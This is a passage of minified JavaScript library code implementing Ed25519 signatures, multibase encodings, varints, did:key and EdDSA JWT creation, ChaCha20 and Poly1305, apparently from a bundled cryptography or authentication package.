n,r,i,o;for(r=63;r>=32;--r){for(n=0,i=r-32,o=r-12;i<o;++i)t[i]+=n-16*t[r]*M[i-(r-32)],n=Math.floor((t[i]+128)/256),t[i]-=256*n;t[i]+=n,t[r]=0}for(n=0,i=0;i<32;i++)t[i]+=n-(t[31]>>4)*M[i],n=t[i]>>8,t[i]&=255;for(i=0;i<32;i++)t[i]-=n*M[i];for(r=0;r<32;r++)t[r+1]+=t[r]>>8,e[r]=255&t[r]}function j(e){const t=new Float64Array(64);for(let n=0;n<64;n++)t[n]=e[n];for(let t=0;t<64;t++)e[t]=0;L(e,t)}function U(e,t){const r=new Float64Array(64),o=[i(),i(),i(),i()],s=(0,n.hash)(e.subarray(0,32));s[0]&=248,s[31]&=127,s[31]|=64;const a=new Uint8Array(64);a.set(s.subarray(32),32);const u=new n.SHA512;u.update(a.subarray(32)),u.update(t);const c=u.digest();u.clean(),j(c),P(o,c),k(a,o),u.reset(),u.update(a.subarray(0,32)),u.update(e.subarray(32)),u.update(t);const l=u.digest();j(l);for(let e=0;e<32;e++)r[e]=c[e];for(let e=0;e<32;e++)for(let t=0;t<32;t++)r[e+t]+=l[e]*s[t];return L(a.subarray(32),r),a}function D(e,t){const n=i(),r=i(),u=i(),c=i(),l=i(),d=i(),p=i();return h(e[2],s),_(e[1],t),S(u,e[1]),E(c,u,a),w(u,u,e[2]),b(c,e[2],c),S(l,c),S(d,l),E(p,d,l),E(n,p,u),E(n,n,c),x(n,n),E(n,n,u),E(n,n,c),E(n,n,c),E(e[0],n,c),S(r,e[0]),E(r,r,c),v(r,u)&&E(e[0],e[0],f),S(r,e[0]),E(r,r,c),v(r,u)?-1:(m(e[0])===t[31]>>7&&w(e[0],o,e[0]),E(e[3],e[0],e[1]),0)}function z(t,r,o){const s=new Uint8Array(32),a=[i(),i(),i(),i()],u=[i(),i(),i(),i()];if(o.length!==e.SIGNATURE_LENGTH)throw new Error(`ed25519: signature must be ${e.SIGNATURE_LENGTH} bytes`);if(D(u,t))return!1;const c=new n.SHA512;c.update(o.subarray(0,32)),c.update(t),c.update(r);const l=c.digest();return j(l),C(a,u,l),P(u,o.subarray(32)),I(a,u),k(s,a),!y(o,s)}function F(e){let t=[i(),i(),i(),i()];if(D(t,e))throw new Error("Ed25519: invalid public key");let n=i(),r=i(),o=t[1];b(n,s,o),w(r,s,o),O(r,r),E(n,n,r);let a=new Uint8Array(32);return g(a,n),a}function B(e){const t=(0,n.hash)(e.subarray(0,32));t[0]&=248,t[31]&=127,t[31]|=64;const i=new Uint8Array(t.subarray(0,32));return(0,r.wipe)(t),i}e.sign=U,e.verify=z,e.convertPublicKeyToX25519=F,e.convertSecretKeyToX25519=B}(ar);const ii="EdDSA",oi="JWT",si=".",ai="base64url",ui="utf8",ci="utf8",li=":",fi="did",hi="key",di="base58btc",pi="z",gi="K36",yi=32;function vi(e){return null!=globalThis.Buffer?new Uint8Array(e.buffer,e.byteOffset,e.byteLength):e}function mi(e=0){return null!=globalThis.Buffer&&null!=globalThis.Buffer.allocUnsafe?vi(globalThis.Buffer.allocUnsafe(e)):new Uint8Array(e)}function _i(e,t){t||(t=e.reduce(((e,t)=>e+t.length),0));const n=mi(t);let r=0;for(const t of e)n.set(t,r),r+=t.length;return vi(n)}function bi(e,t){if(e.length>=255)throw new TypeError("Alphabet too long");for(var n=new Uint8Array(256),r=0;r<n.length;r++)n[r]=255;for(var i=0;i<e.length;i++){var o=e.charAt(i),s=o.charCodeAt(0);if(255!==n[s])throw new TypeError(o+" is ambiguous");n[s]=i}var a=e.length,u=e.charAt(0),c=Math.log(a)/Math.log(256),l=Math.log(256)/Math.log(a);function f(t){if(t instanceof Uint8Array||(ArrayBuffer.isView(t)?t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength):Array.isArray(t)&&(t=Uint8Array.from(t))),!(t instanceof Uint8Array))throw new TypeError("Expected Uint8Array");if(0===t.length)return"";for(var n=0,r=0,i=0,o=t.length;i!==o&&0===t[i];)i++,n++;for(var s=(o-i)*l+1>>>0,c=new Uint8Array(s);i!==o;){for(var f=t[i],h=0,d=s-1;(0!==f||h<r)&&-1!==d;d--,h++)f+=256*c[d]>>>0,c[d]=f%a>>>0,f=f/a>>>0;if(0!==f)throw new Error("Non-zero carry");r=h,i++}for(var p=s-r;p!==s&&0===c[p];)p++;for(var g=u.repeat(n);p<s;++p)g+=e.charAt(c[p]);return g}function h(e){if("string"!=typeof e)throw new TypeError("Expected String");if(0===e.length)return new Uint8Array;var t=0;if(" "!==e[t]){for(var r=0,i=0;e[t]===u;)r++,t++;for(var o=(e.length-t)*c+1>>>0,s=new Uint8Array(o);e[t];){var l=n[e.charCodeAt(t)];if(255===l)return;for(var f=0,h=o-1;(0!==l||f<i)&&-1!==h;h--,f++)l+=a*s[h]>>>0,s[h]=l%256>>>0,l=l/256>>>0;if(0!==l)throw new Error("Non-zero carry");i=f,t++}if(" "!==e[t]){for(var d=o-i;d!==o&&0===s[d];)d++;for(var p=new Uint8Array(r+(o-d)),g=r;d!==o;)p[g++]=s[d++];return p}}}function d(e){var n=h(e);if(n)return n;throw new Error(`Non-${t} character`)}return{encode:f,decodeUnsafe:h,decode:d}}var wi=bi;const Ei=e=>{if(e instanceof Uint8Array&&"Uint8Array"===e.constructor.name)return e;if(e instanceof ArrayBuffer)return new Uint8Array(e);if(ArrayBuffer.isView(e))return new Uint8Array(e.buffer,e.byteOffset,e.byteLength);throw new Error("Unknown type, must be binary type")},Si=e=>(new TextEncoder).encode(e),Oi=e=>(new TextDecoder).decode(e);class xi{constructor(e,t,n){this.name=e,this.prefix=t,this.baseEncode=n}encode(e){if(e instanceof Uint8Array)return`${this.prefix}${this.baseEncode(e)}`;throw Error("Unknown type, must be binary type")}}class Ii{constructor(e,t,n){if(this.name=e,this.prefix=t,void 0===t.codePointAt(0))throw new Error("Invalid prefix character");this.prefixCodePoint=t.codePointAt(0),this.baseDecode=n}decode(e){if("string"==typeof e){if(e.codePointAt(0)!==this.prefixCodePoint)throw Error(`Unable to decode multibase string ${JSON.stringify(e)}, ${this.name} decoder only supports inputs prefixed with ${this.prefix}`);return this.baseDecode(e.slice(this.prefix.length))}throw Error("Can only multibase decode strings")}or(e){return ki(this,e)}}class Ri{constructor(e){this.decoders=e}or(e){return ki(this,e)}decode(e){const t=e[0],n=this.decoders[t];if(n)return n.decode(e);throw RangeError(`Unable to decode multibase string ${JSON.stringify(e)}, only inputs prefixed with ${Object.keys(this.decoders)} are supported`)}}const ki=(e,t)=>new Ri({...e.decoders||{[e.prefix]:e},...t.decoders||{[t.prefix]:t}});class Ci{constructor(e,t,n,r){this.name=e,this.prefix=t,this.baseEncode=n,this.baseDecode=r,this.encoder=new xi(e,t,n),this.decoder=new Ii(e,t,r)}encode(e){return this.encoder.encode(e)}decode(e){return this.decoder.decode(e)}}const Pi=({name:e,prefix:t,encode:n,decode:r})=>new Ci(e,t,n,r),Ai=({prefix:e,name:t,alphabet:n})=>{const{encode:r,decode:i}=wi(n,t);return Pi({prefix:e,name:t,encode:r,decode:e=>Ei(i(e))})},Ni=(e,t,n,r)=>{const i={};for(let e=0;e<t.length;++e)i[t[e]]=e;let o=e.length;for(;"="===e[o-1];)--o;const s=new Uint8Array(o*n/8|0);let a=0,u=0,c=0;for(let t=0;t<o;++t){const o=i[e[t]];if(void 0===o)throw new SyntaxError(`Non-${r} character`);u=u<<n|o,a+=n,a>=8&&(a-=8,s[c++]=255&u>>a)}if(a>=n||255&u<<8-a)throw new SyntaxError("Unexpected end of data");return s},Ti=(e,t,n)=>{const r="="===t[t.length-1],i=(1<<n)-1;let o="",s=0,a=0;for(let r=0;r<e.length;++r)for(a=a<<8|e[r],s+=8;s>n;)s-=n,o+=t[i&a>>s];if(s&&(o+=t[i&a<<n-s]),r)for(;o.length*n&7;)o+="=";return o},Mi=({name:e,prefix:t,bitsPerChar:n,alphabet:r})=>Pi({prefix:t,name:e,encode:e=>Ti(e,r,n),decode:t=>Ni(t,r,n,e)}),Li=Pi({prefix:"\0",name:"identity",encode:e=>Oi(e),decode:e=>Si(e)});var ji=Object.freeze({__proto__:null,identity:Li});const Ui=Mi({prefix:"0",name:"base2",alphabet:"01",bitsPerChar:1});var Di=Object.freeze({__proto__:null,base2:Ui});const zi=Mi({prefix:"7",name:"base8",alphabet:"01234567",bitsPerChar:3});var Fi=Object.freeze({__proto__:null,base8:zi});const Bi=Ai({prefix:"9",name:"base10",alphabet:"0123456789"});var Hi=Object.freeze({__proto__:null,base10:Bi});const qi=Mi({prefix:"f",name:"base16",alphabet:"0123456789abcdef",bitsPerChar:4}),Vi=Mi({prefix:"F",name:"base16upper",alphabet:"0123456789ABCDEF",bitsPerChar:4});var $i=Object.freeze({__proto__:null,base16:qi,base16upper:Vi});const Wi=Mi({prefix:"b",name:"base32",alphabet:"abcdefghijklmnopqrstuvwxyz234567",bitsPerChar:5}),Ki=Mi({prefix:"B",name:"base32upper",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567",bitsPerChar:5}),Gi=Mi({prefix:"c",name:"base32pad",alphabet:"abcdefghijklmnopqrstuvwxyz234567=",bitsPerChar:5}),Yi=Mi({prefix:"C",name:"base32padupper",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=",bitsPerChar:5}),Qi=Mi({prefix:"v",name:"base32hex",alphabet:"0123456789abcdefghijklmnopqrstuv",bitsPerChar:5}),Ji=Mi({prefix:"V",name:"base32hexupper",alphabet:"0123456789ABCDEFGHIJKLMNOPQRSTUV",bitsPerChar:5}),Xi=Mi({prefix:"t",name:"base32hexpad",alphabet:"0123456789abcdefghijklmnopqrstuv=",bitsPerChar:5}),Zi=Mi({prefix:"T",name:"base32hexpadupper",alphabet:"0123456789ABCDEFGHIJKLMNOPQRSTUV=",bitsPerChar:5}),eo=Mi({prefix:"h",name:"base32z",alphabet:"ybndrfg8ejkmcpqxot1uwisza345h769",bitsPerChar:5});var to=Object.freeze({__proto__:null,base32:Wi,base32upper:Ki,base32pad:Gi,base32padupper:Yi,base32hex:Qi,base32hexupper:Ji,base32hexpad:Xi,base32hexpadupper:Zi,base32z:eo});const no=Ai({prefix:"k",name:"base36",alphabet:"0123456789abcdefghijklmnopqrstuvwxyz"}),ro=Ai({prefix:"K",name:"base36upper",alphabet:"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"});var io=Object.freeze({__proto__:null,base36:no,base36upper:ro});const oo=Ai({name:"base58btc",prefix:"z",alphabet:"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"}),so=Ai({name:"base58flickr",prefix:"Z",alphabet:"123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ"});var ao=Object.freeze({__proto__:null,base58btc:oo,base58flickr:so});const uo=Mi({prefix:"m",name:"base64",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",bitsPerChar:6}),co=Mi({prefix:"M",name:"base64pad",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",bitsPerChar:6}),lo=Mi({prefix:"u",name:"base64url",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_",bitsPerChar:6}),fo=Mi({prefix:"U",name:"base64urlpad",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_=",bitsPerChar:6});var ho=Object.freeze({__proto__:null,base64:uo,base64pad:co,base64url:lo,base64urlpad:fo});const po=Array.from("🚀🪐☄🛰🌌🌑🌒🌓🌔🌕🌖🌗🌘🌍🌏🌎🐉☀💻🖥💾💿😂❤😍🤣😊🙏💕😭😘👍😅👏😁🔥🥰💔💖💙😢🤔😆🙄💪😉☺👌🤗💜😔😎😇🌹🤦🎉💞✌✨🤷😱😌🌸🙌😋💗💚😏💛🙂💓🤩😄😀🖤😃💯🙈👇🎶😒🤭❣😜💋👀😪😑💥🙋😞😩😡🤪👊🥳😥🤤👉💃😳✋😚😝😴🌟😬🙃🍀🌷😻😓⭐✅🥺🌈😈🤘💦✔😣🏃💐☹🎊💘😠☝😕🌺🎂🌻😐🖕💝🙊😹🗣💫💀👑🎵🤞😛🔴😤🌼😫⚽🤙☕🏆🤫👈😮🙆🍻🍃🐶💁😲🌿🧡🎁⚡🌞🎈❌✊👋😰🤨😶🤝🚶💰🍓💢🤟🙁🚨💨🤬✈🎀🍺🤓😙💟🌱😖👶🥴▶➡❓💎💸⬇😨🌚🦋😷🕺⚠🙅😟😵👎🤲🤠🤧📌🔵💅🧐🐾🍒😗🤑🌊🤯🐷☎💧😯💆👆🎤🙇🍑❄🌴💣🐸💌📍🥀🤢👅💡💩👐📸👻🤐🤮🎼🥵🚩🍎🍊👼💍📣🥂"),go=po.reduce(((e,t,n)=>(e[n]=t,e)),[]),yo=po.reduce(((e,t,n)=>(e[t.codePointAt(0)]=n,e)),[]);function vo(e){return e.reduce(((e,t)=>e+=go[t]),"")}function mo(e){const t=[];for(const n of e){const e=yo[n.codePointAt(0)];if(void 0===e)throw new Error(`Non-base256emoji character: ${n}`);t.push(e)}return new Uint8Array(t)}const _o=Pi({prefix:"🚀",name:"base256emoji",encode:vo,decode:mo});var bo=Object.freeze({__proto__:null,base256emoji:_o}),wo=xo,Eo=128,So=-128,Oo=Math.pow(2,31);function xo(e,t,n){t=t||[];for(var r=n=n||0;e>=Oo;)t[n++]=255&e|Eo,e/=128;for(;e&So;)t[n++]=255&e|Eo,e>>>=7;return t[n]=0|e,xo.bytes=n-r+1,t}var Io=Co,Ro=128,ko=127;function Co(e,t){var n,r=0,i=0,o=t=t||0,s=e.length;do{if(o>=s)throw Co.bytes=0,new RangeError("Could not decode varint");n=e[o++],r+=i<28?(n&ko)<<i:(n&ko)*Math.pow(2,i),i+=7}while(n>=Ro);return Co.bytes=o-t,r}var Po=Math.pow(2,7),Ao=Math.pow(2,14),No=Math.pow(2,21),To=Math.pow(2,28),Mo=Math.pow(2,35),Lo=Math.pow(2,42),jo=Math.pow(2,49),Uo=Math.pow(2,56),Do=Math.pow(2,63),zo=function(e){return e<Po?1:e<Ao?2:e<No?3:e<To?4:e<Mo?5:e<Lo?6:e<jo?7:e<Uo?8:e<Do?9:10},Fo={encode:wo,decode:Io,encodingLength:zo};const Bo=(e,t,n=0)=>(Fo.encode(e,t,n),t),Ho=e=>Fo.encodingLength(e),qo=(e,t)=>{const n=t.byteLength,r=Ho(e),i=r+Ho(n),o=new Uint8Array(i+n);return Bo(e,o,0),Bo(n,o,r),o.set(t,i),new Vo(e,n,t,o)};class Vo{constructor(e,t,n,r){this.code=e,this.size=t,this.digest=n,this.bytes=r}}const $o=({name:e,code:t,encode:n})=>new Wo(e,t,n);class Wo{constructor(e,t,n){this.name=e,this.code=t,this.encode=n}digest(e){if(e instanceof Uint8Array){const t=this.encode(e);return t instanceof Uint8Array?qo(this.code,t):t.then((e=>qo(this.code,e)))}throw Error("Unknown type, must be binary type")}}const Ko=e=>async t=>new Uint8Array(await crypto.subtle.digest(e,t)),Go=$o({name:"sha2-256",code:18,encode:Ko("SHA-256")}),Yo=$o({name:"sha2-512",code:19,encode:Ko("SHA-512")});Object.freeze({__proto__:null,sha256:Go,sha512:Yo});const Qo=0,Jo="identity",Xo=Ei;Object.freeze({__proto__:null,identity:{code:Qo,name:Jo,encode:Xo,digest:e=>qo(Qo,Xo(e))}}),new TextEncoder,new TextDecoder;const Zo={...ji,...Di,...Fi,...Hi,...$i,...to,...io,...ao,...ho,...bo};function es(e,t,n,r){return{name:e,prefix:t,encoder:{name:e,prefix:t,encode:n},decoder:{decode:r}}}const ts=es("utf8","u",(e=>"u"+new TextDecoder("utf8").decode(e)),(e=>(new TextEncoder).encode(e.substring(1)))),ns=es("ascii","a",(e=>{let t="a";for(let n=0;n<e.length;n++)t+=String.fromCharCode(e[n]);return t}),(e=>{const t=mi((e=e.substring(1)).length);for(let n=0;n<e.length;n++)t[n]=e.charCodeAt(n);return t})),rs={utf8:ts,"utf-8":ts,hex:Zo.base16,latin1:ns,ascii:ns,binary:ns,...Zo};function is(e,t="utf8"){const n=rs[t];if(!n)throw new Error(`Unsupported encoding "${t}"`);return"utf8"!==t&&"utf-8"!==t||null==globalThis.Buffer||null==globalThis.Buffer.from?n.encoder.encode(e).substring(1):globalThis.Buffer.from(e.buffer,e.byteOffset,e.byteLength).toString("utf8")}function os(e,t="utf8"){const n=rs[t];if(!n)throw new Error(`Unsupported encoding "${t}"`);return"utf8"!==t&&"utf-8"!==t||null==globalThis.Buffer||null==globalThis.Buffer.from?n.decoder.decode(`${n.prefix}${e}`):vi(globalThis.Buffer.from(e,"utf-8"))}function ss(e){return is(os(sr(e),ui),ai)}function as(e){const t=os(gi,di),n=pi+is(_i([t,e]),di);return[fi,hi,n].join(li)}function us(e){return is(e,ai)}function cs(e){return os([ss(e.header),ss(e.payload)].join(si),ci)}function ls(e){return[ss(e.header),ss(e.payload),us(e.signature)].join(si)}function fs(e=ur.randomBytes(yi)){return ar.generateKeyPairFromSeed(e)}async function hs(e,t,n,r,i=We.fromMiliseconds(Date.now())){const o={alg:ii,typ:oi},s={iss:as(r.publicKey),sub:e,aud:t,iat:i,exp:i+n},a=cs({header:o,payload:s});return ls({header:o,payload:s,signature:ar.sign(r.secretKey,a)})}var ds={},ps={};Object.defineProperty(ps,"__esModule",{value:!0});var gs=Or,ys=gr,vs=20;function ms(e,t,n){for(var r=1634760805,i=857760878,o=2036477234,s=1797285236,a=n[3]<<24|n[2]<<16|n[1]<<8|n[0],u=n[7]<<24|n[6]<<16|n[5]<<8|n[4],c=n[11]<<24|n[10]<<16|n[9]<<8|n[8],l=n[15]<<24|n[14]<<16|n[13]<<8|n[12],f=n[19]<<24|n[18]<<16|n[17]<<8|n[16],h=n[23]<<24|n[22]<<16|n[21]<<8|n[20],d=n[27]<<24|n[26]<<16|n[25]<<8|n[24],p=n[31]<<24|n[30]<<16|n[29]<<8|n[28],g=t[3]<<24|t[2]<<16|t[1]<<8|t[0],y=t[7]<<24|t[6]<<16|t[5]<<8|t[4],v=t[11]<<24|t[10]<<16|t[9]<<8|t[8],m=t[15]<<24|t[14]<<16|t[13]<<8|t[12],_=r,b=i,w=o,E=s,S=a,O=u,x=c,I=l,R=f,k=h,C=d,P=p,A=g,N=y,T=v,M=m,L=0;L<vs;L+=2)S=(S^=R=R+(A=(A^=_=_+S|0)>>>16|A<<16)|0)>>>20|S<<12,O=(O^=k=k+(N=(N^=b=b+O|0)>>>16|N<<16)|0)>>>20|O<<12,x=(x^=C=C+(T=(T^=w=w+x|0)>>>16|T<<16)|0)>>>20|x<<12,I=(I^=P=P+(M=(M^=E=E+I|0)>>>16|M<<16)|0)>>>20|I<<12,x=(x^=C=C+(T=(T^=w=w+x|0)>>>24|T<<8)|0)>>>25|x<<7,I=(I^=P=P+(M=(M^=E=E+I|0)>>>24|M<<8)|0)>>>25|I<<7,O=(O^=k=k+(N=(N^=b=b+O|0)>>>24|N<<8)|0)>>>25|O<<7,S=(S^=R=R+(A=(A^=_=_+S|0)>>>24|A<<8)|0)>>>25|S<<7,O=(O^=C=C+(M=(M^=_=_+O|0)>>>16|M<<16)|0)>>>20|O<<12,x=(x^=P=P+(A=(A^=b=b+x|0)>>>16|A<<16)|0)>>>20|x<<12,I=(I^=R=R+(N=(N^=w=w+I|0)>>>16|N<<16)|0)>>>20|I<<12,S=(S^=k=k+(T=(T^=E=E+S|0)>>>16|T<<16)|0)>>>20|S<<12,I=(I^=R=R+(N=(N^=w=w+I|0)>>>24|N<<8)|0)>>>25|I<<7,S=(S^=k=k+(T=(T^=E=E+S|0)>>>24|T<<8)|0)>>>25|S<<7,x=(x^=P=P+(A=(A^=b=b+x|0)>>>24|A<<8)|0)>>>25|x<<7,O=(O^=C=C+(M=(M^=_=_+O|0)>>>24|M<<8)|0)>>>25|O<<7;gs.writeUint32LE(_+r|0,e,0),gs.writeUint32LE(b+i|0,e,4),gs.writeUint32LE(w+o|0,e,8),gs.writeUint32LE(E+s|0,e,12),gs.writeUint32LE(S+a|0,e,16),gs.writeUint32LE(O+u|0,e,20),gs.writeUint32LE(x+c|0,e,24),gs.writeUint32LE(I+l|0,e,28),gs.writeUint32LE(R+f|0,e,32),gs.writeUint32LE(k+h|0,e,36),gs.writeUint32LE(C+d|0,e,40),gs.writeUint32LE(P+p|0,e,44),gs.writeUint32LE(A+g|0,e,48),gs.writeUint32LE(N+y|0,e,52),gs.writeUint32LE(T+v|0,e,56),gs.writeUint32LE(M+m|0,e,60)}function _s(e,t,n,r,i){if(void 0===i&&(i=0),32!==e.length)throw new Error("ChaCha: key size must be 32 bytes");if(r.length<n.length)throw new Error("ChaCha: destination is shorter than source");var o,s;if(0===i){if(8!==t.length&&12!==t.length)throw new Error("ChaCha nonce must be 8 or 12 bytes");s=(o=new Uint8Array(16)).length-t.length,o.set(t,s)}else{if(16!==t.length)throw new Error("ChaCha nonce with counter must be 16 bytes");o=t,s=i}for(var a=new Uint8Array(64),u=0;u<n.length;u+=64){ms(a,o,e);for(var c=u;c<u+64&&c<n.length;c++)r[c]=n[c]^a[c-u];ws(o,0,s)}return ys.wipe(a),0===i&&ys.wipe(o),r}function bs(e,t,n,r){return void 0===r&&(r=0),ys.wipe(n),_s(e,t,n,n,r)}function ws(e,t,n){for(var r=1;n--;)r=r+(255&e[t])|0,e[t]=255&r,r>>>=8,t++;if(r>0)throw new Error("ChaCha: counter overflow")}ps.streamXOR=_s,ps.stream=bs;var Es={},Ss={};function Os(e,t,n){return~(e-1)&t|e-1&n}function xs(e,t){return(0|e)-(0|t)-1>>>31&1}function Is(e,t){if(e.length!==t.length)return 0;for(var n=0,r=0;r<e.length;r++)n|=e[r]^t[r];return 1&n-1>>>8}function Rs(e,t){return 0!==e.length&&0!==t.length&&0!==Is(e,t)}Object.defineProperty(Ss,"__esModule",{value:!0}),Ss.select=Os,Ss.lessOrEqual=xs,Ss.compare=Is,Ss.equal=Rs,function(e){Object.defineProperty(e,"__esModule",{value:!0});var t=Ss,n=gr;e.DIGEST_LENGTH=16;var r=function(){function t(t){this.digestLength=e.DIGEST_LENGTH,this._buffer=new Uint8Array(16),this._r=new Uint16Array(10),this._h=new Uint16Array(10),this._pad=new Uint16Array(8),this._leftover=0,this._fin=0,this._finished=!1;var n=t[0]|t[1]<<8;this._r[0]=8191&n;var r=t[2]|t[3]<<8;this._r[1]=8191&(n>>>13|r<<3);var i=t[4]|t[5]<<8;this._r[2]=7939&(r>>>10|i<<6);var o=t[6]|t[7]<<8;this._r[3]=8191&(i>>>7|o<<9);var s=t[8]|t[9]<<8;this._r[4]=255&(o>>>4|s<<12),this._r[5]=s>>>1&8190;var a=t[10]|t[11]<<8;this._r[6]=8191&(s>>>14|a<<2);var u=t[12]|t[13]<<8;this._r[7]=8065&(a>>>11|u<<5);var c=t[14]|t[15]<<8;this._r[8]=8191&(u>>>8|c<<8),this._r[9]=c>>>5&127,this._pad[0]=t[16]|t[17]<<8,this._pad[1]=t[18]|t[19]<<8,this._pad[2]=t[20]|t[21]<<8,this._pad[3]=t[22]|t[23]<<8,this._pad[4]=t[24]|t[25]<<8,this._pad[5]=t[26]|t[27]<<8,this._pad[6]=t[28]|t[29]<<8,this._pad[7]=t[30]|t[31]<<8}return t.prototype._blocks=function(e,t,n){for(var r=this._fin?0:2048,i=this._h[0],o=this._h[1],s=this._h[2],a=this._h[3],u=this._h[4],c=this._h[5],l=this._h[6],f=this._h[7],h=this._h[8],d=this._h[9],p=this._r[0],g=this._r[1],y=this._r[2],v=this._r[3],m=this._r[4],_=this._r[5],b=this._r[6],w=this._r[7],E=this._r[8],S=this._r[9];n>=16;){var O=e[t+0]|e[t+1]<<8;i+=8191&O;var x=e[t+2]|e[t+3]<<8;o+=8191&(O>>>13|x<<3);var I=e[t+4]|e[t+5]<<8;s+=8191&(x>>>10|I<<6);var R=e[t+6]|e[t+7]<<8;a+=8191&(I>>>7|R<<9);var k=e[t+8]|e[t+9]<<8;u+=8191&(R>>>4|k<<12),c+=k>>>1&8191;var C=e[t+10]|e[t+11]<<8;l+=8191&(k>>>14|C<<2);var P=e[t+12]|e[t+13]<<8;f+=8191&(C>>>11|P<<5);var A=e[t+14]|e[t+15]<<8,N=0,T=N;T+=i*p,T+=o*(5*S),T+=s*(5*E),T+=a*(5*w),N=(T+=u*(5*b))>>>13,T&=8191,T+=c*(5*_),T+=l*(5*m),T+=f*(5*v),T+=(h+=8191&(P>>>8|A<<8))*(5*y);var M=N+=(T+=(d+=A>>>5|r)*(5*g))>>>13;M+=i*g,M+=o*p,M+=s*(5*S),M+=a*(5*E),N=(M+=u*(5*w))>>>13,M&=8191,M+=c*(5*b),M+=l*(5*_),M+=f*(5*m),M+=h*(5*v),N+=(M+=d*(5*y))>>>13,M&=8191;var L=N;L+=i*y,L+=o*g,L+=s*p,L+=a*(5*S),N=(L+=u*(5*E))>>>13,L&=8191,L+=c*(5*w),L+=l*(5*b),L+=f*(5*_),L+=h*(5*m);var j=N+=(L+=d*(5*v))>>>13;j+=i*v,j+=o*y,j+=s*g,j+=a*p,N=(j+=u*(5*S))>>>13,j&=8191,j+=c*(5*E),j+=l*(5*w),j+=f*(5*b),j+=h*(5*_);var U=N+=(j+=d*(5*m))>>>13;U+=i*m,U+=o*v,U+=s*y,U+=a*g,N=(U+=u*p)>>>13,U&=8191,U+=c*(5*S),U+=l*(5*E),U+=f*(5*w),U+=h*(5*b);var D=N+=(U+=d*(5*_))>>>13;D+=i*_,D+=o*m,D+=s*v,D+=a*y,N=(D+=u*g)>>>13,D&=8191,D+=c*p,D+=l*(5*S),D+=f*(5*E),D+=h*(5*w);var z=N+=(D+=d*(5*b))>>>13;z+=i*b,z+=o*_,z+=s*m,z+=a*v,N=(z+=u*y)>>>13,z&=8191,z+=c*g,z+=l*p,z+=f*(5*S),z+=h*(5*E);var F=N+=(z+=d*(5*w))>>>13;F+=i*w,F+=o*b,F+=s*_,F+=a*m,N=(F+=u*v)>>>13,F&=8191,F+=c*y,F+=l*g,F+=f*p,F+=h*(5*S);var B=N+=(F+=d*(5*E))>>>13;B+=i*E,B+=o*w,B+=s*b,B+=a*_,N=(B+=u*m)>>>13,B&=8191,B+=c*v,B+=l*y,B+=f*g,B+=h*p;var H=N+=(B+=d*(5*S))>>>13;H+=i*S,H+=o*E,H+=s*w,H+=a*b,N=(H+=u*_)>>>13,H&=8191,H+=c*m,H+=l*v,H+=f*y,H+=h*g,i=T=8191&(N=(N=((N+=(H+=d*p)>>>13)<<2)+N|0)+(T&=8191)|0),o=M+=N>>>=13,s=L&=8191,a=j&=8191,u=U&=8191,c=D&=8191,l=z&=8191,f=F&=8191,h=B&=8191,d=H&=8191,t+=16,n-=16}this._h[0]=i,this._h[1]=o,this._h[2]=s,this._h[3]=a,this._h[4]=u,this._h[5]=c,this._h[6]=l,this._h[7]=f,this._h[8]=h,this._h[9]=d},t.prototype.finish=function(e,t){void 0===t&&(t=0);var n,r,i,o,s=new Uint16Array(10);if(this._leftover){for(o=this._leftover,this._buffer[o++]=1;o<16;o++)this._buffer[o]=0;this._fin=1,this._blocks(this._buffer,0,16)}for(n=this._h[1]>>>13,this._h[1]&=8191,o=2;o<10;o++)this._h[o]+=n,n=this._h[o]>>>13,this._h[o]&=8191;for(this._h[0]+=5*n,n=this._h[0]>>>13,this._h[0]&=8191,this._h[1]+=n,n=this._h[1]>>>13,this._h[1]&=8191,this._h[2]+=n,s[0]=this._h[0]+5,n=s[0]>>>13,s[0]&=8191,o=1;o<10;o++)s[o]=this._h[o]+n,n=s[o]>>>13,s[o]&=8191;for(s[9]-=8192,r=(1^n)-1,o=0;o<10;o++)s[o]&=r;for(r=~r,o=0;o<10;o++)this._h[o]=this._h[o]&r|s[o];for(this._h[0]=65535&(this._h[0]|this._h[1]<<13),this._h[1]=65535&(this._h[1]>>>3|this._h[2]<<10),this._h[2]=65535&(this._h[2]>>>6|this._h[3]<<7),this._h[3]=65535&(this._h[3]>>>9|this._h[4]<<4),this._h[4]=65535&(this._h[4]>>>12|this._h[5]<<1|this._h[6]<<14),this._h[5]=65535&(this._h[6]>>>2|this._h[7]<<11),this._h[6]=65535&(this._h[7]>>>5|this._h[8]<<8),this._h[7]=65535&(this._h[8]>>>8|this._h[9]<<5),i=this._h[0]+this._pad[0],this._h[0]=65535&i,o=1;o<8;o++)i=(this._h[o]+this._pad[o]|0)+(i>>>16)|0,this._h[o]=65535&i;return e[t+0]=this._h[0]>>>0,e[t+1]=this._h[0]>>>8,e[t+2]=this._h[1]>>>0,e[t+3]=this._h[1]>>>8,e[t+4]=this._h[2]>>>0,e[t+5]=this._h[2]>>>8,e[t+6]=this._h[3]>>>0,e[t+7]=this._h[3]>>>8,e[t+8]=this._h[4]>>>0,e[t+9]=this._h[4]>>>8,e[t+10]=this._h[5]>>>0,e[t+11]=this._h[5]>>>8,e[t+12]=this._h[6]>>>0,e[t+13]=this._h[6]>>>8,e[t+14]=this._h[7]>>>0,e[t+15]=this._h[7]>>>8,this._finished=!0,this},t.prototype.update=function(e){var t,n=0,r=e.length;if(this._leftover){(t=16-this._leftover)>r&&(t=r);for(var i=0;i<t;i++)this._buffer[this._leftover+i]=e[n+i];if(r-=t,n+=t,this._leftover+=t,this._leftover<16)return this;this._blocks(this._buffer,0,16),this._leftover=0}if(r>=16&&(t=r-r%16,this._blocks(e,n,t),n+=t,r-=t),r){for(i=0;i<r;i++)this._buffer[this._leftover+i]=e[n+i];this._leftover+=r}return this},t.prototype.digest=function(){if(this._finished)throw new Error("Poly1305 was finished");var e=new 